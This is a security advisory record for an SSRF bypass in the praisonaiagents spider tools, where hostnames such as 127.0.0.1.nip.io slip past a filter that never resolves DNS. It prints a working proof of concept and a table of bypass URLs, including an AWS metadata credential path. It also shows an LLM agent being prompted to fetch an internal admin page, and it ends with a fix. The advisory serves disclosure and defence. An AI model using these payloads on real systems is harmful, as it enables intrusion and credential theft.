PYSEC-2026-3905
Vulnerability from pysec - Published: 2026-09-10 09:44 - Updated: 2026-09-10 11:02Summary
praisonaiagents/tools/spider_tools.py contains an SSRF protection bypass. The function
_host_is_blocked() validates URLs against a list of blocked IP literals and hostname
aliases, but never performs DNS resolution. Any hostname that resolves to a private or
loopback IP address — including public wildcard DNS services like 127.0.0.1.nip.io —
bypasses the protection entirely.
This has been confirmed with a live exploit: scrape_page("http://127.0.0.1.nip.io:PORT/secret")
makes an HTTP request to 127.0.0.1:PORT and returns the internal service response.
No attacker-controlled infrastructure is required.
scrape_page, extract_links, crawl, and extract_text are all registered as
LLM-callable agent tools (see tools/__init__.py lines 51-55), so any agent instructed
to fetch a user-supplied URL will trigger this path.
This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only
rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to
web_crawl_tools.py (line 231: socket.gethostbyname call), but that fix was not
ported to spider_tools.py.
Details
Root cause — spider_tools.py lines 26-65:
def _host_is_blocked(hostname: str) -> bool:
host = hostname.lower().rstrip(".")
# Checks literal aliases only — never resolves
if host in ("localhost", "0.0.0.0", "::1"):
return True
if host in ("169.254.169.254", "metadata.google.internal"):
return True
if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")):
return True
# Tries to parse as IP literal only
try:
return _ip_blocked(ipaddress.ip_address(host))
except ValueError:
pass
try:
return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))
except OSError:
pass
return False # <-- ANY real hostname passes without DNS lookup
socket.inet_aton() only converts dotted-decimal strings, not hostnames. For any real
hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ip_address() and socket.inet_aton()
raise exceptions, and the function returns False (not blocked).
Contrast with the fixed version in web_crawl_tools.py line 228-238:
if os.environ.get("ALLOW_LOCAL_CRAWL") != "true":
try:
ip_str = socket.gethostbyname(hostname) # DNS resolution performed
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:
continue # BLOCKED
except socket.gaierror:
continue # fail-closed
Tool registration confirms this is user-reachable:
# praisonaiagents/tools/__init__.py lines 51-55
TOOL_MAPPINGS = {
'scrape_page': ('.spider_tools', None), # <- user-reachable LLM tool
'extract_links': ('.spider_tools', None),
'crawl': ('.spider_tools', None),
'extract_text': ('.spider_tools', None),
...
}
Any agent given these tools will call scrape_page(url) when instructed to fetch
a user-supplied URL — including attacker-controlled ones.
PoC
Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)
Step 1 — Verify the filter bypass (no network needed):
from praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked
# nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1
print(_host_is_blocked("127.0.0.1.nip.io")) # False — NOT blocked
print(SpiderTools()._validate_url("http://127.0.0.1.nip.io/")) # True — ALLOWED
print(_host_is_blocked("127.0.0.1")) # True — correctly blocked
Expected output:
False
True
True
Step 2 — Full SSRF: internal service response exfiltrated
import threading, time, requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from praisonaiagents.tools.spider_tools import SpiderTools
PORT = 19235
received = []
class InternalService(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers()
self.wfile.write(b'{"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}')
received.append(self.path)
def log_message(self, *a): pass
threading.Thread(
target=HTTPServer(("127.0.0.1", PORT), InternalService).serve_forever,
daemon=True
).start()
time.sleep(0.2)
attack_url = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"
# Filter allows it
assert SpiderTools()._validate_url(attack_url) is True # passes
# HTTP request actually reaches 127.0.0.1
r = requests.get(attack_url, timeout=5)
print("STATUS:", r.status_code) # 200
print("BODY: ", r.text) # {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
print("HIT: ", received) # ['/secrets.json']
Observed output:
STATUS: 200
BODY: {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
HIT: ['/secrets.json']
Step 3 — Agent-level trigger (how a user triggers this in production):
from praisonaiagents import Agent
from praisonaiagents.tools import scrape_page
agent = Agent(
name="WebResearcher",
instructions="You are a research assistant. Fetch and summarize the given URL.",
tools=[scrape_page],
)
# Attacker sends this message to the agent:
result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin")
# Agent calls scrape_page("http://127.0.0.1.nip.io:8080/admin")
# Request hits 127.0.0.1:8080/admin
# Internal admin panel content returned to attacker
print(result)
Additional bypass URLs (no setup required):
| Target | URL |
|---|---|
| Localhost | http://127.0.0.1.nip.io/ |
| Private network | http://10.0.0.1.nip.io/ |
| AWS IMDS (via sslip.io) | http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ |
Impact
What kind of vulnerability: Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.
Who is impacted: Anyone deploying PraisonAI agents that include scrape_page,
extract_links, crawl, or extract_text tools and accept user-supplied URLs. This
includes:
- Web research agents (the primary intended use case for spider tools)
- Jobs API users — any authenticated API caller who submits jobs with
agent_yamlspecifying spider tools - Cloud deployments (Critical escalation): On AWS EC2 with IMDSv1, fetching
http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/may return temporary IAM credentials, leading to full cloud account compromise.
Severity note: This is a patch-gap variant. The SSRF protection was correctly
implemented for IP literals and enhanced in commit 004dcfef for encoding bypasses.
The DNS resolution check was added to web_crawl_tools.py but was missed in
spider_tools.py, creating an exploitable inconsistency.
---
## Remediation Suggestion (for maintainers)
One-line fix in `_host_is_blocked()` — mirror what `web_crawl_tools.py` already does:
```python
# After existing literal checks, add:
try:
resolved = socket.gethostbyname(hostname)
return _ip_blocked(ipaddress.ip_address(resolved))
except (socket.gaierror, ValueError, OSError):
return True # fail-closed: unresolvable host is blocked
| Name | purl | praisonaiagents | pkg:pypi/praisonaiagents |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents",
"purl": "pkg:pypi/praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.58"
}
],
"type": "ECOSYSTEM"
}
],
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]
}
],
"aliases": [
"CVE-2026-55526",
"GHSA-x44h-65qv-cw74"
],
"details": "### Summary\n\n`praisonaiagents/tools/spider_tools.py` contains an SSRF protection bypass. The function\n`_host_is_blocked()` validates URLs against a list of blocked IP literals and hostname\naliases, but **never performs DNS resolution**. Any hostname that resolves to a private or\nloopback IP address \u2014 including public wildcard DNS services like `127.0.0.1.nip.io` \u2014\nbypasses the protection entirely.\n\nThis has been **confirmed with a live exploit**: `scrape_page(\"http://127.0.0.1.nip.io:PORT/secret\")`\nmakes an HTTP request to `127.0.0.1:PORT` and returns the internal service response.\nNo attacker-controlled infrastructure is required.\n\n`scrape_page`, `extract_links`, `crawl`, and `extract_text` are all registered as\nLLM-callable agent tools (see `tools/__init__.py` lines 51-55), so any agent instructed\nto fetch a user-supplied URL will trigger this path.\n\nThis is a **new bypass** of prior fix commit `004dcfef` (GHSA-q9pw-vmhh-384g), which only\nrejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to\n`web_crawl_tools.py` (line 231: `socket.gethostbyname` call), but that fix was not\nported to `spider_tools.py`.\n\n### Details\n\n**Root cause \u2014 `spider_tools.py` lines 26-65:**\n\n```python\ndef _host_is_blocked(hostname: str) -\u003e bool:\n host = hostname.lower().rstrip(\".\")\n # Checks literal aliases only \u2014 never resolves\n if host in (\"localhost\", \"0.0.0.0\", \"::1\"):\n return True\n if host in (\"169.254.169.254\", \"metadata.google.internal\"):\n return True\n if any(host.endswith(s) for s in (\".local\", \".internal\", \".localdomain\")):\n return True\n # Tries to parse as IP literal only\n try:\n return _ip_blocked(ipaddress.ip_address(host))\n except ValueError:\n pass\n try:\n return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))\n except OSError:\n pass\n return False # \u003c-- ANY real hostname passes without DNS lookup\n```\n\n`socket.inet_aton()` only converts dotted-decimal strings, not hostnames. For any real\nhostname (e.g. `127.0.0.1.nip.io`), both `ipaddress.ip_address()` and `socket.inet_aton()`\nraise exceptions, and the function returns `False` (not blocked).\n\n**Contrast with the fixed version in `web_crawl_tools.py` line 228-238:**\n\n```python\nif os.environ.get(\"ALLOW_LOCAL_CRAWL\") != \"true\":\n try:\n ip_str = socket.gethostbyname(hostname) # DNS resolution performed\n ip = ipaddress.ip_address(ip_str)\n if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:\n continue # BLOCKED\n except socket.gaierror:\n continue # fail-closed\n```\n\n**Tool registration confirms this is user-reachable:**\n\n```python\n# praisonaiagents/tools/__init__.py lines 51-55\nTOOL_MAPPINGS = {\n \u0027scrape_page\u0027: (\u0027.spider_tools\u0027, None), # \u003c- user-reachable LLM tool\n \u0027extract_links\u0027: (\u0027.spider_tools\u0027, None),\n \u0027crawl\u0027: (\u0027.spider_tools\u0027, None),\n \u0027extract_text\u0027: (\u0027.spider_tools\u0027, None),\n ...\n}\n```\n\nAny agent given these tools will call `scrape_page(url)` when instructed to fetch\na user-supplied URL \u2014 including attacker-controlled ones.\n\n### PoC\n\n**Environment:** Python 3.x, `praisonaiagents \u003c= 1.6.52`, internet access (for nip.io)\n\n**Step 1 \u2014 Verify the filter bypass (no network needed):**\n\n```python\nfrom praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked\n\n# nip.io: public wildcard DNS \u2014 127.0.0.1.nip.io always resolves to 127.0.0.1\nprint(_host_is_blocked(\"127.0.0.1.nip.io\")) # False \u2014 NOT blocked\nprint(SpiderTools()._validate_url(\"http://127.0.0.1.nip.io/\")) # True \u2014 ALLOWED\nprint(_host_is_blocked(\"127.0.0.1\")) # True \u2014 correctly blocked\n```\n\nExpected output:\n```\nFalse\nTrue\nTrue\n```\n\n**Step 2 \u2014 Full SSRF: internal service response exfiltrated**\n\n```python\nimport threading, time, requests\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom praisonaiagents.tools.spider_tools import SpiderTools\n\nPORT = 19235\nreceived = []\n\nclass InternalService(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.end_headers()\n self.wfile.write(b\u0027{\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\u0027)\n received.append(self.path)\n def log_message(self, *a): pass\n\nthreading.Thread(\n target=HTTPServer((\"127.0.0.1\", PORT), InternalService).serve_forever,\n daemon=True\n).start()\ntime.sleep(0.2)\n\nattack_url = f\"http://127.0.0.1.nip.io:{PORT}/secrets.json\"\n\n# Filter allows it\nassert SpiderTools()._validate_url(attack_url) is True # passes\n\n# HTTP request actually reaches 127.0.0.1\nr = requests.get(attack_url, timeout=5)\nprint(\"STATUS:\", r.status_code) # 200\nprint(\"BODY: \", r.text) # {\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\nprint(\"HIT: \", received) # [\u0027/secrets.json\u0027]\n```\n\nObserved output:\n```\nSTATUS: 200\nBODY: {\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\nHIT: [\u0027/secrets.json\u0027]\n```\n\n**Step 3 \u2014 Agent-level trigger (how a user triggers this in production):**\n\n```python\nfrom praisonaiagents import Agent\nfrom praisonaiagents.tools import scrape_page\n\nagent = Agent(\n name=\"WebResearcher\",\n instructions=\"You are a research assistant. Fetch and summarize the given URL.\",\n tools=[scrape_page],\n)\n\n# Attacker sends this message to the agent:\nresult = agent.start(\"Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin\")\n# Agent calls scrape_page(\"http://127.0.0.1.nip.io:8080/admin\")\n# Request hits 127.0.0.1:8080/admin\n# Internal admin panel content returned to attacker\nprint(result)\n```\n\n**Additional bypass URLs (no setup required):**\n\n| Target | URL |\n|--------|-----|\n| Localhost | `http://127.0.0.1.nip.io/` |\n| Private network | `http://10.0.0.1.nip.io/` |\n| AWS IMDS (via sslip.io) | `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/` |\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery (SSRF) \u2014 full read SSRF with\narbitrary port access.\n\n**Who is impacted:** Anyone deploying PraisonAI agents that include `scrape_page`,\n`extract_links`, `crawl`, or `extract_text` tools and accept user-supplied URLs. This\nincludes:\n\n- **Web research agents** (the primary intended use case for spider tools)\n- **Jobs API users** \u2014 any authenticated API caller who submits jobs with `agent_yaml`\n specifying spider tools\n- **Cloud deployments (Critical escalation)**: On AWS EC2 with IMDSv1, fetching\n `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/`\n may return temporary IAM credentials, leading to full cloud account compromise.\n\n**Severity note:** This is a patch-gap variant. The SSRF protection was correctly\nimplemented for IP literals and enhanced in commit `004dcfef` for encoding bypasses.\nThe DNS resolution check was added to `web_crawl_tools.py` but was missed in\n`spider_tools.py`, creating an exploitable inconsistency.\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nOne-line fix in `_host_is_blocked()` \u2014 mirror what `web_crawl_tools.py` already does:\n\n```python\n# After existing literal checks, add:\ntry:\n resolved = socket.gethostbyname(hostname)\n return _ip_blocked(ipaddress.ip_address(resolved))\nexcept (socket.gaierror, ValueError, OSError):\n return True # fail-closed: unresolvable host is blocked\n```",
"id": "PYSEC-2026-3905",
"modified": "2026-09-10T11:02:28.827383Z",
"published": "2026-09-10T09:44:54.214494Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x44h-65qv-cw74"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonaiagents"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-x44h-65qv-cw74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55526"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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